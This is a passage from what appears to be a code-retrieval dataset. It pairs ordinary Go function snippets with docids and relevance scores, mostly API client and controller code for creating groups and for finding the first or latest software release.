err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 403 {\n\t\t\tvar v Error403\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 500 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "c21bfd978bbfd9715226f0b3aa7ae8d7", "score": "0.52609164", "text": "func (*GroupsController) Create(ctx *gin.Context) {\n\tvar groupJSON groupJSON\n\tctx.Bind(&groupJSON)\n\n\tvar groupIn models.Group\n\tgroupIn.Name = groupJSON.Name\n\tgroupIn.Description = groupJSON.Description\n\n\terr := groupIn.Insert()\n\tif err != nil {\n\t\tlog.Errorf(\"Error while InsertGroup %s\", err)\n\t\tctx.AbortWithError(http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tctx.JSON(http.StatusCreated, groupIn)\n}", "title": "" }, { "docid": "a18d8aa406c6b8b673746026a8f0fdd0", "score": "0.5248588", "text": "func (app *Application) CreateGroup(group *Group) error {\n\treturn client.post(app.Groups.Href, group, group)\n}", "title": "" }, { "docid": "5e81940f252d0ad591b681ac5827fbe5", "score": "0.52471083", "text": "func (p *LogProject) CreateMachineGroup(m *MachineGroup) error {\n\tbody, err := json.Marshal(m)\n\tif err != nil {\n\t\treturn NewClientError(err.Error())\n\t}\n\n\th := map[string]string{\n\t\t\"x-log-bodyrawsize\": fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\": \"application/json\",\n\t\t\"Accept-Encoding\": \"deflate\", // TODO: support lz4\n\t}\n\t_, _, err = request(p, \"POST\", \"/machinegroups\", h, body)\n\treturn err\n}", "title": "" }, { "docid": "6b17424a67d46dc641aa57fd25aa1522", "score": "0.52466685", "text": "func (s *Service) CreateOrUpdateGroup(resourceGroupName string, location string) (resources.Group, error) {\n\treturn s.scope.Groups.CreateOrUpdate(s.scope.Context, resourceGroupName, resources.Group{Location: to.StringPtr(location)})\n}", "title": "" }, { "docid": "a940de4409e9002f6e560dc99abe8b46", "score": "0.5244431", "text": "func (ctx *CreateElementsContext) BadRequest(r error) error {\n\tif ctx.ResponseData.Header().Get(\"Content-Type\") == \"\" {\n\t\tctx.ResponseData.Header().Set(\"Content-Type\", \"application/vnd.goa.error\")\n\t}\n\treturn ctx.ResponseData.Service.Send(ctx.Context, 400, r)\n}", "title": "" }, { "docid": "0bc1d7a0f272d3add72c25e71f470358", "score": "0.52336955", "text": "func (c *Client) CreateGroup() (model.AdminMutation, error) {\n\treturn model.AdminMutation{}, errors.New(\"not implemented\")\n}", "title": "" }, { "docid": "8069f617b68e6eb677ba27cf44af0cd8", "score": "0.5224312", "text": "func NewAllGroupUsersBadRequest() *AllGroupUsersBadRequest {\n\treturn &AllGroupUsersBadRequest{}\n}", "title": "" }, { "docid": "584c145207ac7048fa5caa6e6f63505d", "score": "0.5217142", "text": "func (s *UserService) CreateGroup(ctx context.Context, body *Group) (*Group, *Response, error) {\n\tdata := new(Group)\n\n\tresp, err := s.client.SendRequest(ctx, RequestOptions{\n\t\tMethod: \"POST\",\n\t\tPath: \"user/\" + s.client.TenantName + \"/groups\",\n\t\tBody: body,\n\t\tResponseData: data,\n\t})\n\treturn data, resp, err\n}", "title": "" }, { "docid": "daefe2a5338c5752983e072d06b50776", "score": "0.5216621", "text": "func (o *CreateHostGroupsCreated) Code() int {\n\treturn 201\n}", "title": "" }, { "docid": "e76ef6e4a41319fe6630188a7a09062e", "score": "0.52086276", "text": "func AssertCreateResourceGroupRequired(obj CreateResourceGroup) error {\n\telements := map[string]interface{}{\n\t\t\"name\": obj.Name,\n\t\t\"location\": obj.Location,\n\t\t\"secretId\": obj.SecretId,\n\t}\n\tfor name, el := range elements {\n\t\tif isZero := IsZeroValue(el); isZero {\n\t\t\treturn &RequiredError{Field: name}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "582d587bd0a9c32e0adc889c097cd1d4", "score": "0.5207851", "text": "func resourceADGroupObjectCreate(ctx context.Context, d *schema.ResourceData, meta interface{}) diag.Diagnostics {\n\tlog.Infof(\"Creating AD Group object\")\n\tapi := meta.(APIInterface)\n\n\tvar diags diag.Diagnostics\n\n\tmembers := make([]string, 0)\n\tfor _, m := range d.Get(\"member\").(*schema.Set).List() {\n\t\tif m.(string) != \"\" {\n\t\t\tmembers = append(members, m.(string))\n\t\t}\n\t}\n\tlog.Infof(\"Member count from config %d\", len(members))\n\tif err := api.createGroup(d.Get(\"name\").(string), d.Get(\"base_ou\").(string),\n\t\td.Get(\"description\").(string), d.Get(\"user_base\").(string), members, d.Get(\"ignore_members_unknown_by_terraform\").(bool)); err != nil {\n\t\treturn diag.Errorf(\"resourceADGroupObjectCreate - create ou - %s\", err)\n\n\t}\n\n\td.SetId(strings.ToLower(fmt.Sprintf(\"ou=%s,%s\", d.Get(\"name\").(string), d.Get(\"base_ou\").(string))))\n\tresourceADGroupObjectRead(ctx, d, meta)\n\treturn diags\n\n}", "title": "" }, { "docid": "035229399f212acec6bb40cca0a8a091", "score": "0.5206108", "text": "func (api *API) CreateGroupV1() *API {\n\n\t// Grupo que será autenticado via JWT.\n\tv1 := api.Group(\"/api/v1/\")\n\n\t// Configuração jwt.\n\tv1.Use(\n\t\tmiddleware.JWTWithConfig(middleware.JWTConfig{\n\t\t\tSigningKey: []byte(security.JwtKey),\n\t\t\tErrorHandlerWithContext: func(err error, c echo.Context) error {\n\t\t\t\treturn c.JSON(http.StatusUnauthorized, erro.Get(err, strconv.Itoa(http.StatusUnauthorized)))\n\t\t\t},\n\t\t}),\n\t)\n\n\troutes.Routes(v1)\n\n\treturn api\n}", "title": "" }, { "docid": "75abd5065d49ac5e9f69673a5000404b", "score": "0.52049285", "text": "func (client *StringGroupClient) Create(obj *models.StringGroup) (*models.StringGroup, error) {\n\tvar robj *models.StringGroup\n\terr := client.aviSession.Post(client.getAPIPath(\"\"), obj, &robj)\n\treturn robj, err\n}", "title": "" }, { "docid": "66aad59fdcdc037ce119edcddd14675f", "score": "0.5201409", "text": "func TestGetNodeGroupNotFound(t *testing.T) {\n\tth.SetupHTTP()\n\tdefer th.TeardownHTTP()\n\n\thandleGetNodeGroupNotFound(t)\n\n\tsc := fake.ServiceClient()\n\tsc.Endpoint = sc.Endpoint + \"v1/\"\n\n\t_, err := nodegroups.Get(sc, clusterUUID, badNodeGroupUUID).Extract()\n\tth.AssertEquals(t, true, err != nil)\n\n\t_, isNotFound := err.(gophercloud.ErrDefault404)\n\tth.AssertEquals(t, true, isNotFound)\n}", "title": "" }, { "docid": "a89378a8b4bcb184db7d61796752d68f", "score": "0.51962733", "text": "func createGroup(name string, state *State, group string, reader *bufio.Reader) string {\n\tif len(name) > 0 {\n\t\t_, ok := (*state)[name]\n\t\tif !ok {\n\t\t\t(*state)[name] = []LoginInfo{}\n\t\t\treturn name\n\t\t}\n\t\tprintln(\"Error: group already exists.\")\n\t} else {\n\t\tprintln(\"Error: please provide a name for the group.\")\n\t}\n\treturn group\n}", "title": "" }, { "docid": "4d1f6b29f151a3faa1b98419a291e784", "score": "0.51940155", "text": "func NewGetAccessgroupsSitesGroupidBadRequest() *GetAccessgroupsSitesGroupidBadRequest {\n\treturn &GetAccessgroupsSitesGroupidBadRequest{}\n}", "title": "" }, { "docid": "3ed4c461b3bce13b78f83870601dee91", "score": "0.51930183", "text": "func ExampleClient_BeginCreateOrUpdate() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armmanagementgroups.NewClientFactory(cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tpoller, err := clientFactory.NewClient().BeginCreateOrUpdate(ctx, \"ChildGroup\", armmanagementgroups.CreateManagementGroupRequest{\n\t\tProperties: &armmanagementgroups.CreateManagementGroupProperties{\n\t\t\tDisplayName: to.Ptr(\"ChildGroup\"),\n\t\t\tDetails: &armmanagementgroups.CreateManagementGroupDetails{\n\t\t\t\tParent: &armmanagementgroups.CreateParentGroupInfo{\n\t\t\t\t\tID: to.Ptr(\"/providers/Microsoft.Management/managementGroups/RootGroup\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}, &armmanagementgroups.ClientBeginCreateOrUpdateOptions{CacheControl: to.Ptr(\"no-cache\")})\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to finish the request: %v\", err)\n\t}\n\tres, err := poller.PollUntilDone(ctx, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to pull the result: %v\", err)\n\t}\n\t// You could use response here. We use blank identifier for just demo purposes.\n\t_ = res\n\t// If the HTTP response code is 200 as defined in example definition, your response structure would look as follows. Please pay attention that all the values in the output are fake values for just demo purposes.\n\t// res.ManagementGroup = armmanagementgroups.ManagementGroup{\n\t// \tName: to.Ptr(\"ChildGroup\"),\n\t// \tType: to.Ptr(\"Microsoft.Management/managementGroups\"),\n\t// \tID: to.Ptr(\"/providers/Microsoft.Management/managementGroups/ChildGroup\"),\n\t// \tProperties: &armmanagementgroups.ManagementGroupProperties{\n\t// \t\tDisplayName: to.Ptr(\"ChildGroup\"),\n\t// \t\tTenantID: to.Ptr(\"20000000-0000-0000-0000-000000000000\"),\n\t// \t\tDetails: &armmanagementgroups.ManagementGroupDetails{\n\t// \t\t\tParent: &armmanagementgroups.ParentGroupInfo{\n\t// \t\t\t\tName: to.Ptr(\"RootGroup\"),\n\t// \t\t\t\tDisplayName: to.Ptr(\"RootGroup\"),\n\t// \t\t\t\tID: to.Ptr(\"/providers/Microsoft.Management/managementGroups/RootGroup\"),\n\t// \t\t\t},\n\t// \t\t\tUpdatedBy: to.Ptr(\"16b8ef21-5c9f-420c-bcc9-e4f8c9f30b4b\"),\n\t// \t\t\tUpdatedTime: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, \"2018-01-01T00:00:00.00Z\"); return t}()),\n\t// \t\t\tVersion: to.Ptr[int32](1),\n\t// \t\t},\n\t// \t},\n\t// }\n}", "title": "" }, { "docid": "d990be2552234a7734d37ac91ba3815a", "score": "0.5185971", "text": "func NewGreetByNameBadRequest() *GreetByNameBadRequest {\n\n\treturn &GreetByNameBadRequest{}\n}", "title": "" }, { "docid": "0ef12dfb65f9270a2b38366cefff5c27", "score": "0.5185274", "text": "func (a *MembershipApiService) CreateMobilityGroup(ctx context.Context, mgName string, mobilityGroup MobilityGroup) (*http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Post\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/mg/{mgName}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"mgName\"+\"}\", fmt.Sprintf(\"%v\", mgName), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &mobilityGroup\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn localVarHttpResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\tlocalVarHttpResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarHttpResponse, err\n\t}\n\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tnewErr := GenericSwaggerError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHttpResponse.Status,\n\t\t}\n\n\t\treturn localVarHttpResponse, newErr\n\t}\n\n\treturn localVarHttpResponse, nil\n}", "title": "" }, { "docid": "7710e4dd4b40097d20debf68dff37f95", "score": "0.518497", "text": "func NewGroup(name string) *Group { return &Group{name: name} }", "title": "" } ]
af37a68cbe7ec342d4760e1b45de1d58
ReleasesFirst returns the first matching release.
[ { "docid": "1097318a4100e3934c5ac5352e15fef1", "score": "0.772809", "text": "func (s *store) ReleasesFirst(scope Scope) (*Release, error) {\n\tvar release Release\n\t// TODO: Wrap the store with this. Gorm blows up when preloading\n\t// App.Certificates on a collection of releases.\n\tscope = ComposedScope{scope, Preload(\"App.Certificates\")}\n\treturn &release, s.First(scope, &release)\n}", "title": "" } ]
[ { "docid": "849a3fa6a03180b7d2d0b5de961c4882", "score": "0.6048862", "text": "func SingleRelease(ctx *context.Context) {\n\tctx.Data[\"PageIsReleaseList\"] = true\n\tctx.Data[\"DefaultBranch\"] = ctx.Repo.Repository.DefaultBranch\n\n\twriteAccess := ctx.Repo.CanWrite(unit.TypeReleases)\n\tctx.Data[\"CanCreateRelease\"] = writeAccess && !ctx.Repo.Repository.IsArchived\n\n\trelease, err := repo_model.GetRelease(ctx.Repo.Repository.ID, ctx.Params(\"*\"))\n\tif err != nil {\n\t\tif repo_model.IsErrReleaseNotExist(err) {\n\t\t\tctx.NotFound(\"GetRelease\", err)\n\t\t\treturn\n\t\t}\n\t\tctx.ServerError(\"GetReleasesByRepoID\", err)\n\t\treturn\n\t}\n\tctx.Data[\"PageIsSingleTag\"] = release.IsTag\n\tif release.IsTag {\n\t\tctx.Data[\"Title\"] = release.TagName\n\t} else {\n\t\tctx.Data[\"Title\"] = release.Title\n\t}\n\n\trelease.Repo = ctx.Repo.Repository\n\n\terr = repo_model.GetReleaseAttachments(ctx, release)\n\tif err != nil {\n\t\tctx.ServerError(\"GetReleaseAttachments\", err)\n\t\treturn\n\t}\n\n\trelease.Publisher, err = user_model.GetUserByID(ctx, release.PublisherID)\n\tif err != nil {\n\t\tif user_model.IsErrUserNotExist(err) {\n\t\t\trelease.Publisher = user_model.NewGhostUser()\n\t\t} else {\n\t\t\tctx.ServerError(\"GetUserByID\", err)\n\t\t\treturn\n\t\t}\n\t}\n\tif !release.IsDraft {\n\t\tif err := calReleaseNumCommitsBehind(ctx.Repo, release, make(map[string]int64)); err != nil {\n\t\t\tctx.ServerError(\"calReleaseNumCommitsBehind\", err)\n\t\t\treturn\n\t\t}\n\t}\n\trelease.Note, err = markdown.RenderString(&markup.RenderContext{\n\t\tURLPrefix: ctx.Repo.RepoLink,\n\t\tMetas: ctx.Repo.Repository.ComposeMetas(),\n\t\tGitRepo: ctx.Repo.GitRepo,\n\t\tCtx: ctx,\n\t}, release.Note)\n\tif err != nil {\n\t\tctx.ServerError(\"RenderString\", err)\n\t\treturn\n\t}\n\n\tctx.Data[\"Releases\"] = []*repo_model.Release{release}\n\tctx.HTML(http.StatusOK, tplReleasesList)\n}", "title": "" }, { "docid": "370b5411cc6e9a37c292f36d30dae1d3", "score": "0.6017702", "text": "func (c Provider) Latest(name string) (r *results.Result, s results.Status) {\n\trs, s := c.Releases(name)\n\t// Fail if not OK\n\tif s != results.OK {\n\t\treturn\n\t}\n\tr = rs.First()\n\treturn\n}", "title": "" }, { "docid": "e759749c91f626863fc775e6a7b683c9", "score": "0.60042423", "text": "func latestRelease(releases []githubRelease) (githubRelease, error) {\n\t// filter the releases to exclude LTS releases\n\tnonLTS := releases[:0]\n\tfor _, r := range releases {\n\t\tif !strings.Contains(r.TagName, \"lts\") && build.IsVersion(r.version()) {\n\t\t\tnonLTS = append(nonLTS, r)\n\t\t}\n\t}\n\n\t// sort by version\n\tsort.Sort(byVersion(nonLTS))\n\n\t// return the latest release\n\tif len(nonLTS) == 0 {\n\t\treturn githubRelease{}, errEmptyUpdateResponse\n\t}\n\treturn nonLTS[0], nil\n}", "title": "" }, { "docid": "3511b39819425a88193abe0bd87f59c5", "score": "0.58102113", "text": "func GetReleaseByID(id int64) (*Release, error) {\n\tr := new(Release)\n\thas, err := x.Id(id).Get(r)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if !has {\n\t\treturn nil, ErrReleaseNotExist{args: map[string]any{\"releaseID\": id}}\n\t}\n\n\treturn r, r.LoadAttributes()\n}", "title": "" }, { "docid": "0a9cddb072da746b86973f30d112f9fe", "score": "0.57985485", "text": "func (c Provider) Latest(params []string) (r *results.Result, err error) {\n\trs, err := c.Releases(params)\n\tif err == nil {\n\t\tr = rs.First()\n\t}\n\treturn\n}", "title": "" }, { "docid": "30d6ff60786377b2c29b86a079b17046", "score": "0.57982385", "text": "func (grq *GithubReleaseQuery) FirstX(ctx context.Context) *GithubRelease {\n\tnode, err := grq.First(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn node\n}", "title": "" }, { "docid": "71f05d407b6e7f0f92fb137d8de6aa21", "score": "0.5781699", "text": "func (c *controller) First(namespace string) (runtime.Object, error) {\n\treturn &s2hv1.PullRequestQueue{}, nil\n}", "title": "" }, { "docid": "a7d67d9bbb98701bab73f974affe7858", "score": "0.57227975", "text": "func (q slotReleaseQuery) One() (*SlotRelease, error) {\n\to := &SlotRelease{}\n\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Bind(o)\n\tif err != nil {\n\t\tif errors.Cause(err) == sql.ErrNoRows {\n\t\t\treturn nil, sql.ErrNoRows\n\t\t}\n\t\treturn nil, errors.Wrap(err, \"public: failed to execute a one query for slot_release\")\n\t}\n\n\tif err := o.doAfterSelectHooks(queries.GetExecutor(q.Query)); err != nil {\n\t\treturn o, err\n\t}\n\n\treturn o, nil\n}", "title": "" }, { "docid": "0ea6dec731c4e20b9870ce17d26da538", "score": "0.56799227", "text": "func (c Provider) Latest(name string) (r *results.Result, s results.Status) {\n\trs, s := c.Releases(name)\n\tif s != results.OK {\n\t\treturn\n\t}\n\tr = rs.Last()\n\treturn\n}", "title": "" }, { "docid": "2bfc5c3a77339df6cbd9a4fa30266c40", "score": "0.5678187", "text": "func LatestRelease(owner, repo string) (*github.RepositoryRelease, error) {\n\trelease, err := recentReleases(owner, repo, latestOption)\n\n\treturn release[0], err\n}", "title": "" }, { "docid": "4cf34baff710a9d64c829540449b1912", "score": "0.5674783", "text": "func (q ReleaseEventQuery) One() (result *ReleaseEvent, err error) {\n\tresults := make(ReleaseEventCollection, 0, 1)\n\terr = Select(q.db, &results, q.builder)\n\tif err != nil {\n\t\terr = errors.Wrap(err, \"ReleaseEventQuery.One() failed to populate initial result set.\")\n\t\treturn\n\t}\n\n\tfor _, f := range q.processors {\n\t\terr = f(q.db, results)\n\t\tif err != nil {\n\t\t\terr = errors.Wrap(err, \"Failed to run processor over ReleaseEventCollection.\")\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(results) > 0 {\n\t\tresult = results[0]\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "8c7b1915d7249a9ce240e5d7b8621c83", "score": "0.5644508", "text": "func (p Plugin) LatestRelease() *PluginRelease {\n\tif len(p.Releases) > 0 {\n\t\treturn &p.Releases[len(p.Releases)-1]\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "00d8497983711b48ed505e89607ca867", "score": "0.5618653", "text": "func (s *_s3) FindLatestRelease(name string) (*release.Release, error) {\n\tlatest, err := s.latestTimestamp(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tu, err := s.buildReleaseURL(name, latest)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tmeta, err := s.FindMeta(u)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif meta == nil {\n\t\treturn nil, errors.Errorf(\"meta.yml not found %s\", u)\n\t}\n\treturn release.New(meta, u), nil\n}", "title": "" }, { "docid": "3914a09d32735166d7f02ea2ef22cd5f", "score": "0.5562663", "text": "func (p *Package) Release(ver string) (*Release, error) {\n\treleases, err := p.store.Releases(p.Namespace, p.Package)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, rm := range releases {\n\t\tif rm.Version == ver {\n\t\t\trm, err := p.store.Release(p.Namespace, p.Package, ver)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tr := NewRelease(p.store, p.Namespace, p.Package, ver, rm.Digest, rm.CreatedAt, rm.Size,\n\t\t\t\trm.Dependencies.ToMap())\n\t\t\treturn r, nil\n\t\t}\n\t}\n\n\treturn nil, errors.Errorf(\"release %s in %s/%s was not found\", ver, p.Namespace, p.Package)\n}", "title": "" }, { "docid": "83e18794ba5262566c781929462c002d", "score": "0.5511175", "text": "func FindLatest(ctx context.Context, gh *github.Client, preRelease bool) (*github.RepositoryRelease, error) {\n\trels, _, err := gh.Repositories.ListReleases(ctx, updateRepoOwner, updateRepoName, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, rel := range rels {\n\t\tif !preRelease {\n\t\t\tif rel.GetPrerelease() {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tversion, err := semver.NewVersion(rel.GetTagName())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif IsPreRelease(version) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\treturn rel, nil\n\t}\n\n\treturn nil, ErrReleaseNotFound\n}", "title": "" }, { "docid": "25473c879e53256491451d4a0ef2832c", "score": "0.54904747", "text": "func (t *Tags) First() (*Tags, error) {\n\tvar tags *Tags\n\treturn tags, t.Paging.First(&tags)\n}", "title": "" }, { "docid": "0c760933bb83586e6d9596bcc587ead7", "score": "0.5488024", "text": "func Latest(owner, repo string) (*Release, error) {\n\treturn DefaultClient.release(owner, repo, \"latest\", time.Time{})\n}", "title": "" }, { "docid": "5a3d940977770a0a06b9870c90f417e4", "score": "0.5481468", "text": "func FindRelease(ctx context.Context, ctrlReader client.Reader, releaseVersion string) (releasev1alpha1.Release, error) {\n\t// Release CR always starts with a \"v\".\n\tif !strings.HasPrefix(releaseVersion, \"v\") {\n\t\treleaseVersion = fmt.Sprintf(\"v%s\", releaseVersion)\n\t}\n\n\t// Retrieve the `Release` CR.\n\trelease := releasev1alpha1.Release{}\n\t{\n\t\terr := ctrlReader.Get(ctx, client.ObjectKey{Name: releaseVersion}, &release)\n\t\tif apierrors.IsNotFound(err) {\n\t\t\treturn releasev1alpha1.Release{}, microerror.Maskf(ReleaseNotFoundError, \"Looking for Release %s but it was not found. Can't continue.\", releaseVersion)\n\t\t} else if err != nil {\n\t\t\treturn releasev1alpha1.Release{}, microerror.Mask(err)\n\t\t}\n\t}\n\n\treturn release, nil\n}", "title": "" }, { "docid": "43c2ca353cee495212ae905c1c631251", "score": "0.5436406", "text": "func (rel *Releases) Get(key string) (*rspb.Release, error) {\n\t// fetch the object holding the release named by key\n\tobj, err := rel.getRawRelease(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// found the object, decode the base64 data string\n\tr, err := decodeRelease(obj)\n\tif err != nil {\n\t\trel.Log(\"get: failed to decode data %q: %s\", key, err)\n\t\treturn nil, err\n\t}\n\t// return the release object\n\treturn r, nil\n}", "title": "" }, { "docid": "7985c7bd56b5caaf043ebde52149088d", "score": "0.54185134", "text": "func GetRelease(repoID int64, tagName string) (*Release, error) {\n\tisExist, err := IsReleaseExist(repoID, tagName)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if !isExist {\n\t\treturn nil, ErrReleaseNotExist{args: map[string]any{\"tag\": tagName}}\n\t}\n\n\tr := &Release{RepoID: repoID, LowerTagName: strings.ToLower(tagName)}\n\tif _, err = x.Get(r); err != nil {\n\t\treturn nil, fmt.Errorf(\"Get: %v\", err)\n\t}\n\n\treturn r, r.LoadAttributes()\n}", "title": "" }, { "docid": "b3b0b2e8ed017e5d1ab78019cff1edc7", "score": "0.5379693", "text": "func GetFirst() interface{} {\n\tinitQueue()\n\treturn sq.GetFirst()\n}", "title": "" }, { "docid": "079dfae63f85c100764aac1dc15a328f", "score": "0.53241634", "text": "func getLatest(s update.Store) (*update.Release, error) {\n\treleases, err := s.LatestReleases()\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"fetching releases\")\n\t}\n\n\tif len(releases) == 0 {\n\t\treturn nil, nil\n\t}\n\n\treturn releases[0], nil\n}", "title": "" }, { "docid": "7933ee2c53c1db6492b2ac0f684833c6", "score": "0.5260657", "text": "func GetEndOfFirstRelease(content []string) int {\n\texpression := \"^(?P<prefix>\\\\[)(?P<unreleased>[^\\\\]]*)(?P<postfix>\\\\][^(].*)$\"\n\tregex := regexp.MustCompile(expression)\n\n\tfor i := 0; i < len(content); i++ {\n\t\tif regex.MatchString(content[i]) {\n\t\t\treturn i - 1\n\t\t}\n\t}\n\n\treturn len(content)\n}", "title": "" }, { "docid": "a534af1ad20614dc0e4e60f8b7fa82ac", "score": "0.52582604", "text": "func fetchLatestRelease() (githubRelease, error) {\n\treq, err := http.NewRequest(\"GET\", \"https://api.github.com/repos/HyperspaceApp/Hyperspace/releases\", nil)\n\tif err != nil {\n\t\treturn githubRelease{}, err\n\t}\n\treq.Header.Set(\"Accept\", \"application/vnd.github.v3+json\")\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn githubRelease{}, err\n\t}\n\tdefer resp.Body.Close()\n\tvar releases []githubRelease\n\terr = json.NewDecoder(resp.Body).Decode(&releases)\n\tif err != nil {\n\t\treturn githubRelease{}, err\n\t}\n\treturn latestRelease(releases)\n}", "title": "" }, { "docid": "6f25da786db47c09e37084697382f7ad", "score": "0.52533937", "text": "func (c Provider) Releases(params []string) (rs *results.ResultSet, err error) {\n\tname := params[0]\n\tsm := TarballRegex.FindStringSubmatch(name)\n\tif len(sm) != 5 {\n\t\tsm = ProjectRegex.FindStringSubmatch(name)\n\t\tsm[1], sm[3] = sm[3], sm[1]\n\t}\n\t// Query the API\n\tresp, err := http.Get(fmt.Sprintf(API, sm[1], \"\"))\n\tif err != nil {\n\t\tlog.Debugf(\"Failed to get releases: %s\\n\", err)\n\t\terr = results.Unavailable\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\t// Translate Status Code\n\tswitch resp.StatusCode {\n\tcase 200:\n\t\tbreak\n\tcase 404:\n\t\terr = results.NotFound\n\t\treturn\n\tdefault:\n\t\terr = results.Unavailable\n\t\treturn\n\t}\n\t// decode response\n\tdec := xml.NewDecoder(resp.Body)\n\tvar feed Feed\n\tif err = dec.Decode(&feed); err != nil {\n\t\tlog.Debugf(\"Failed to decode releases: %s\\n\", err)\n\t\terr = results.Unavailable\n\t\treturn\n\t}\n\trs = feed.toResults(sm[3])\n\tif rs.Len() == 0 {\n\t\terr = results.NotFound\n\t}\n\treturn\n}", "title": "" }, { "docid": "14e2071a249a63f7a52f901f7966fbb8", "score": "0.5236904", "text": "func testFindRelease(t *testing.T) { // nolint\n\tfirst := func(r Release) bool { return true }\n\trelease, err := platformDarwin.FindRelease(\"prerelease.keybase.io\", first)\n\trequire.NoError(t, err)\n\tt.Logf(\"Release: %#v\", release)\n\tassert.NotEqual(t, \"\", release.URL)\n}", "title": "" }, { "docid": "d82410c94fa364395535bd09c237418d", "score": "0.5235341", "text": "func (q *TaskQueue) GetFirst() task.Task {\n\tdefer q.MeasureActionTime(\"GetFirst\")()\n\tq.m.RLock()\n\tdefer q.m.RUnlock()\n\tif q.isEmpty() {\n\t\treturn nil\n\t}\n\treturn q.items[0]\n}", "title": "" }, { "docid": "3214b4020de8c6e92085ed320ecd3a41", "score": "0.52199334", "text": "func (a *Agent) GetRelease(\n\tname string,\n\tversion int,\n\tgetDeps bool,\n) (*release.Release, error) {\n\t// Namespace is already known by the RESTClientGetter.\n\tcmd := action.NewGet(a.ActionConfig)\n\n\tcmd.Version = version\n\n\trelease, err := cmd.Run(name)\n\n\tif err != nil {\n\t\treturn nil, 